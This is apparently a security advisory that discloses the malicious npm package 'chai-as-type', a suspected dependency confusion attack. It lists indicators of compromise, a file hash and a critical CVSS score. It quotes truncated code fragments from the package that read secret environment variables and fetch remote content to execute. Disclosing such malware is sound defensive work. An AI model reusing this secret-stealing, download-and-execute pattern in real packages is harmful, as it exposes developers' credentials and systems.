GCVE-110-OSM-2026-1497

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published April 6, 2026

Suspected dependency confusion attack. Behaviors: data exfiltration, code execution, network activity, obfuscated code. Payload: lib/initializeCaller.js Key findings: - Environment Variable Exfiltration in lib/initializeCaller.js: "process.env.DEV_SECRET_VALUE); let retryCount = 5; while (retryCount > 0) ..." - Base64 Decoded Environment Variable in lib/initializeCaller.js: "atob(process.env." - Download and Execute in lib/initializeCaller.js: "axios.get(apiEndpoint, { headers: { [apiHeaderKey]: apiHeaderValue } })).data.co..." - Decoded Base64 Content in lib/const.js - Decoded Base64 Content in lib/initializeCaller.js IOCs: - urls: http://192.168.1.42:9200, https://api.npoint.io/545d3d0c167b8dde920f, https://api.npoint.io/c26313f0733957a7d787 - domains: api.npoint.io - payloadFileHash: eb21e03645bc1f6f869cd79e875d0925ba0c1eeafe71e272b17ebffff8ddd1df Decoded/deobfuscated IOCs: - urls: https://api.npoint.io/545d3d0c167b8dde920f, https://api.npoint.io/c26313f0733957a7d787 - domains: api.npoint.io

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	chai-as-type	all (affected)	—

References

vendor

Malicious npm package: chai-as-type

advisory

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